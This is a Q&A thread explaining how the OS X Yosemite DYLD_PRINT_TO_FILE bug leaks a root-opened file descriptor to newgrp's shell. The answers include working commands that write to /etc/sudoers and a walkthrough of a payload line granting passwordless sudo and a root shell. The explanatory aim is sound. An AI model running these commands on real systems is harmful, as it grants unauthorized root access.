Just reading about the DYLD privilege escalation vulnerability reported by Stefan Esser at https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html

I understand this allows anyone to create or open arbitrary files owned by root anywhere in the filesystem but I want to understand more how leaking the file descriptor to child proceses makes this a larger threat than if it didnt.



When setting:

DYLD_PRINT_TO_FILE=/tmp/log some_command

the MacOS X dynamic loader will open /tmp/log as a log file, i.e. with append access to potentially debug problems within the dynamic loader. This file is open with the first free file descriptor in the shell calling context which is 3. Hence the file descriptors associations are:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

and within this context the process some_command is forked.

Unfortunatly, the dynamic loader doesn't close 3. Hence the process some_command is running with an open file it never had to open and never went through the normal filesystem access control. This may be a file to which some_command should have no access if it normally tried to open it.


For example, although newgrp is a setuid binary it can't write on correctly protected files:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

this error is normal, the shell forked by newgrp doesn't have a file descriptor 3 open, as lsof permits to clearly see it (look at column FD for the 3):

$ lsof -p $$
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)

But due to the lack of closing 3 in the dynamic loader:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3

beware: here the absence of error message means the echo worked. and moreover lsof shows the hole (line 3w, which means file descriptor 3 opened with write access):

$ lsof -p $$
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)

will let newgrp write on /etc/sudoers file were it should never had occured.


If you try this example, don't forget to clean your /etc/sudoers afterward, even if this example is harmless. Its last line contains now #comment.

  • 1
    Excellent answer. Just for reference, Metasploit PR for the above exploit should be landed soon. github.com/rapid7/metasploit-framework/pull/5758
    – void_in
    Jul 23 '15 at 17:44
  • 2
    3 being left open is nice, but that's not the bug. The fact that it is opened at all is the bug. A malicious app could probably still convince dyld to write some useful "debugging" string into a protected file to corrupt or control it, even if 3 were closed after dyld was done loading.
    – nneonneo
    Jul 24 '15 at 3:57
  • @void_in: do you mean there exists a possibility to exploit this vulnerability remotely?
    – dan
    Jul 24 '15 at 9:45
  • By the way, saying "although newgrp is a setuid binary it can't write on correctly protected files" is not accurate. newgrp can definitely write to protected files, it just doesn't offer the unprivileged caller control over that (normally). Your example doesn't even show newgrp trying to write to the file - you used a shell redirect which is handled before the program even starts.
    – nneonneo
    Jul 24 '15 at 16:15
  • You are right. Thanks. This was a simple example, to keep an explanation simple. But it lead skilled Unix admins and users focused on a working exploit, to a misunderstanding. I tried to clarify this.
    – dan
    Jul 27 '15 at 9:36

newgrp is a UNIX utility that executes a shell with a new group ID (see the UNIX specification page). This utility requires root permission since it can change the group ID to one outside the current shell's group list (e.g. to any group in the uid's group list). Therefore, newgrp is a setuid root application which launches a shell.

DYLD_PRINT_TO_FILE is a dyld (OS X dynamic linker) environment variable that tells dyld where to print debugging information. This particular variable was added in OS X 10.10 "Yosemite". It is just one of a large number of DYLD_ variables, which facilitate debugging shared library loading. When dyld sees DYLD_PRINT_TO_FILE, it opens a new file descriptor connected to the specified file. Since fds 0,1,2 are already connected to stdin, stdout and stderr, the file is opened as fd 3. Notably, since newgrp starts as root, the file is opened using root's permissions, even though newgrp later drops privileges to spawn the shell.

Because DYLD_ environment variables can modify a program's behaviour in unexpected ways (particularly DYLD_INSERT_LIBRARIES, the OS X equivalent of LD_PRELOAD), they are usually deleted or sanitized prior to running setuid programs. Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE when shipping Yosemite, opening this particular flaw up.

Finally, the (outer) echo command tells the subshell spawned by newgrp to execute the (inner) echo command, which outputs the string $(whoami) ALL=(ALL) NOPASSWD:ALL into fd 3, which is now /etc/sudoers. This line tells sudo that any account is allowed sudo access, and that no password is required to use sudo.

The subshell then exits (no more commands to run), and the final command sudo -s executes. Since sudo no longer requires a password, and all accounts can use sudo, sudo -s just immediately opens a root shell without prompting.

OS X's dyld does actually remove all DYLD_ variables from the environment for setuid apps, as you can see in the pruneEnvironmentVariables function from dyld.cpp. So why does this bug exist at all? The answer is that DYLD_PRINT_TO_FILE is handled well before the sanitization takes place - in fact, it is basically the first thing that dyld does after starting up (see _main in dyld.cpp). Apple's fix, therefore, should be quite simple: the file should be opened only after the environment has been properly sanitized.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.